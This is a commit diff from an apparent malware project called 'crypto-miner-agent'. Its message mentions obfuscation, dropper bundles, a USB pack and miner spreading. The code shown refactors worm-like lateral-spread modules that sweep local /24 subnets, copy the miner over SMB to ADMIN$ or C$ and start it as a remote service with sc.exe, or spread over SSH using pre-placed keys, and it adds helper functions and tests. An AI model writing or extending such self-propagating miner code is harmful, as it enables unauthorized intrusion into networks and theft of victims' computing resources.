fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

agent/deploy/autospread.go

@@ -8,7 +8,6 @@ import (
 	"net"
 	"os"
 	"path/filepath"
-	"strings"
 	"time"
 
 	"crypto-miner-agent/config"
@@ -16,9 +15,12 @@ import (
 
 // StartAutoSpreader launches a background routine that periodically attempts
 // to replicate the miner to other machines on the local subnet via SMB and RPC.
+//
+// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
+// sc.exe service creation require an admin-capable token and reachable TCP/445.
 func StartAutoSpreader(cfg config.RuntimeConfig) {
 	// AutoSpread feature retained per user request.
-	// Enables SMB/RPC lateral deployment on the local /24 subnet.
+	// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
 	if !cfg.AutoSpread {
 		return
 	}
@@ -63,12 +65,18 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
 			seen[t] = true
 		}
 		for _, ip := range ips {
+			if !isIPv4(ip) {
+				continue // active sweep is IPv4 /24 only; see subnet.go
+			}
 			subnet := getSubnet(ip)
 			if subnet == "" {
 				continue
 			}
 			for i := 1; i < 255; i++ {
-				candidate := fmt.Sprintf("%s.%d", subnet, i)
+				candidate, ok := ipv4SweepHost(subnet, i)
+				if !ok {
+					break
+				}
 				if candidate == ip || seen[candidate] {
 					continue
 				}
@@ -99,39 +107,6 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
 	}
 }
 
-func getLocalIPs() []string {
-	var ips []string
-	ifaces, err := net.Interfaces()
-	if err != nil {
-		return ips
-	}
-	for _, i := range ifaces {
-		if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
-			continue
-		}
-		addrs, err := i.Addrs()
-		if err != nil {
-			continue
-		}
-		for _, a := range addrs {
-			if ipnet, ok := a.(*net.IPNet); ok {
-				if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
-					ips = append(ips, ip4.String())
-				}
-			}
-		}
-	}
-	return ips
-}
-
-func getSubnet(ip string) string {
-	parts := strings.Split(ip, ".")
-	if len(parts) != 4 {
-		return ""
-	}
-	return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
-}
-
 func attemptSpread(cfg config.RuntimeConfig, target string) {
 	// 1. Quick pre-check: Is port 445 (SMB) open?
 	conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)

agent/deploy/autospread_unix.go

@@ -16,6 +16,9 @@ import (
 )
 
 // StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
+//
+// Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use
+// BatchMode=yes — passwordless SSH with pre-placed keys is required.
 func StartAutoSpreader(cfg config.RuntimeConfig) {
 	if !cfg.AutoSpread {
 		return
@@ -58,12 +61,18 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 			seen[t] = true
 		}
 		for _, ip := range ips {
+			if !isIPv4(ip) {
+				continue // active sweep is IPv4 /24 only; see subnet.go
+			}
 			subnet := getSubnet(ip)
 			if subnet == "" {
 				continue
 			}
 			for i := 1; i < 255; i++ {
-				candidate := fmt.Sprintf("%s.%d", subnet, i)
+				candidate, ok := ipv4SweepHost(subnet, i)
+				if !ok {
+					break
+				}
 				if candidate == ip || seen[candidate] {
 					continue
 				}
@@ -121,35 +130,3 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 	}
 }
 
-func getLocalIPs() []string {
-	var ips []string
-	ifaces, err := net.Interfaces()
-	if err != nil {
-		return ips
-	}
-	for _, i := range ifaces {
-		if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
-			continue
-		}
-		addrs, err := i.Addrs()
-		if err != nil {
-			continue
-		}
-		for _, a := range addrs {
-			if ipnet, ok := a.(*net.IPNet); ok {
-				if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
-					ips = append(ips, ip4.String())
-				}
-			}
-		}
-	}
-	return ips
-}
-
-func getSubnet(ip string) string {
-	parts := strings.Split(ip, ".")
-	if len(parts) != 4 {
-		return ""
-	}
-	return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
-}

agent/deploy/natpunch.go

@@ -299,13 +299,19 @@ func ScanLocalSubnet(maxHosts int) string {
 	var b strings.Builder
 	seen := 0
 	for _, ip := range ips {
+		if !isIPv4(ip) {
+			continue
+		}
 		subnet := getSubnet(ip)
 		if subnet == "" {
 			continue
 		}
 		b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
 		for i := 1; i < 255 && seen < maxHosts; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
+			target, ok := ipv4SweepHost(subnet, i)
+			if !ok {
+				break
+			}
 			if target == ip {
 				continue
 			}

agent/deploy/passive_spread_windows.go

@@ -479,12 +479,18 @@ if (Test-Path $dest) {
 	)
 
 	for _, ip := range getLocalIPs() {
+		if !isIPv4(ip) {
+			continue
+		}
 		subnet := getSubnet(ip)
 		if subnet == "" {
 			continue
 		}
 		for i := 1; i < 255; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
+			target, ok := ipv4SweepHost(subnet, i)
+			if !ok {
+				break
+			}
 			if target == ip {
 				continue
 			}
@@ -515,7 +521,7 @@ if ($s) {
 }
 
 func portOpen(host string, port int, timeout time.Duration) bool {
-	conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
+	conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, fmt.Sprintf("%d", port)), timeout)
 	if err != nil {
 		return false
 	}

agent/deploy/subnet.go

@@ -0,0 +1,109 @@
+package deploy
+
+import (
+	"fmt"
+	"net"
+	"strings"
+)
+
+// Spread prerequisites for lateral deployment modules:
+//
+// Windows (SMB/SCM via autospread.go):
+//   - Target TCP/445 (SMB) must be reachable on the LAN.
+//   - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
+//     and create/start a remote service via sc.exe (typically requires local admin
+//     or equivalent on the target).
+//
+// Unix (SSH via autospread_unix.go):
+//   - Target TCP/22 (SSH) must be reachable.
+//   - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
+//     already work — e.g. the agent user's public key in target authorized_keys,
+//     or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
+//
+// Subnet discovery:
+//   - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
+//     self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
+//     may appear when the OS neighbor cache lists them on a shared /64.
+
+// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
+func getLocalIPs() []string {
+	var ips []string
+	ifaces, err := net.Interfaces()
+	if err != nil {
+		return ips
+	}
+	for _, iface := range ifaces {
+		if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
+			continue
+		}
+		addrs, err := iface.Addrs()
+		if err != nil {
+			continue
+		}
+		for _, a := range addrs {
+			ipnet, ok := a.(*net.IPNet)
+			if !ok {
+				continue
+			}
+			ip := ipnet.IP
+			if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
+				continue
+			}
+			if ip4 := ip.To4(); ip4 != nil {
+				ips = append(ips, ip4.String())
+				continue
+			}
+			if ip.To16() != nil {
+				ips = append(ips, ip.String())
+			}
+		}
+	}
+	return ips
+}
+
+// getSubnet returns the sweep prefix for an address:
+//   - IPv4: first three octets (/24)
+//   - IPv6: first four hextets (/64)
+//
+// Returns "" when the address cannot be used for subnet matching.
+func getSubnet(ip string) string {
+	parsed := net.ParseIP(strings.TrimSpace(ip))
+	if parsed == nil {
+		return ""
+	}
+	if ip4 := parsed.To4(); ip4 != nil {
+		parts := strings.Split(ip4.String(), ".")
+		if len(parts) != 4 {
+			return ""
+		}
+		return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
+	}
+	// IPv6 /64 — collapse :: shorthand for consistent map keys.
+	full := parsed.String()
+	if strings.Contains(full, ".") {
+		return ""
+	}
+	hextets := strings.Split(full, ":")
+	if len(hextets) < 4 {
+		return ""
+	}
+	return strings.Join(hextets[:4], ":")
+}
+
+// isIPv4 reports whether addr is an IPv4 host address.
+func isIPv4(addr string) bool {
+	ip := net.ParseIP(addr)
+	return ip != nil && ip.To4() != nil
+}
+
+// ipv4SweepHost returns the i-th host in an IPv4 /24 (1–254). ok is false for non-IPv4 prefixes.
+func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
+	if i < 1 || i > 254 {
+		return "", false
+	}
+	parts := strings.Split(subnet, ".")
+	if len(parts) != 3 {
+		return "", false
+	}
+	return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
+}

agent/deploy/subnet_test.go

@@ -0,0 +1,62 @@
+package deploy
+
+import (
+	"net"
+	"testing"
+)
+
+func TestGetSubnetIPv4(t *testing.T) {
+	if got := getSubnet("192.168.1.42"); got != "192.168.1" {
+		t.Fatalf("got %q", got)
+	}
+	if getSubnet("bad") != "" {
+		t.Fatal("invalid ip should return empty")
+	}
+	if getSubnet("10.0.0.1") != "10.0.0" {
+		t.Fatalf("got %q", getSubnet("10.0.0.1"))
+	}
+}
+
+func TestGetSubnetIPv6(t *testing.T) {
+	ip := "2001:db8:abcd:0012::1"
+	got := getSubnet(ip)
+	want := "2001:db8:abcd:12"
+	if got != want {
+		t.Fatalf("got %q want %q", got, want)
+	}
+	if getSubnet("::1") != "" {
+		t.Fatal("short IPv6 address should not yield sweep prefix")
+	}
+}
+
+func TestIPv4SweepHost(t *testing.T) {
+	host, ok := ipv4SweepHost("10.0.0", 42)
+	if !ok || host != "10.0.0.42" {
+		t.Fatalf("got %q ok=%v", host, ok)
+	}
+	if _, ok := ipv4SweepHost("2001:db8", 1); ok {
+		t.Fatal("IPv6 prefix should not produce sweep host")
+	}
+}
+
+func TestIsIPv4(t *testing.T) {
+	if !isIPv4("192.168.0.1") {
+		t.Fatal("expected IPv4")
+	}
+	if isIPv4("2001:db8::1") {
+		t.Fatal("expected not IPv4")
+	}
+}
+
+func TestGetLocalIPsSkipsLoopback(t *testing.T) {
+	ips := getLocalIPs()
+	for _, ip := range ips {
+		parsed := net.ParseIP(ip)
+		if parsed == nil {
+			t.Fatalf("invalid ip %q", ip)
+		}
+		if parsed.IsLoopback() {
+			t.Fatalf("loopback %q should be excluded", ip)
+		}
+	}
+}